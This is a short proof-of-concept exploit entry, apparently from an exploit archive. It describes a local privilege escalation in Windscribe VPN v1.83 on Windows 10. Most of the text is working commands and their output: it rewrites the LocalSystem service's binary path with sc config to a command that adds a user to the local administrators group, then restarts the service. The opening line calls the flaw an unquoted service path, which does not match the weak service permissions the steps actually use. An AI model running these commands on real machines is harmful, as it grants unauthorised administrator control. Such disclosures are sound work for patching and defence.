Windscribe version 1.83 Build 20 suffers from an unquoted service path vulnerability.
c6d195ca6e0f24d70f2ab04fbf041bc9# Exploit Title: Windscribe - Privilege Escalation
# Date: 4/10/2020
# Exploit Author: MgThuraMoeMyint
# Vendor Homepage: https://windscribe.com
# Version: v1.83 Build 20
# Tested on: Windows 10, version 1909
In windscribe v1.83 , there is a service via windscribe that every
authenticated user can modify.
C:\Users\mgthura>sc qc WindscribeService
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: WindscribeService
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\Windscribe\WindscribeService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : WindscribeService
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
That shows that running as Local System this means that the
BINARY_PATH_NAME parameter can be modified to execute any command on
the system.
I'll change binary_path_name with a command that add a user to
administrators group , so it will be
C:\Users\mgthura>sc config WindscribeService binPath= "net localgroup
administrators pentest /add"
[SC] ChangeServiceConfig SUCCESS
C:\Users\mgthura>sc stop WindscribeService
SERVICE_NAME: WindscribeService
TYPE : 10 WIN32_OWN_PROCESS
STATE : 3 STOP_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x4
WAIT_HINT : 0x0
C:\Users\mgthura>sc start WindscribeService
[SC] StartService FAILED 1053:
The service did not respond to the start or control request in a timely fashion.
Restarting service will cause the service to fail as the binary path
would not point into the actual executable of the service.
However the command will be executed successfully and the user will be
added to the local administrators group.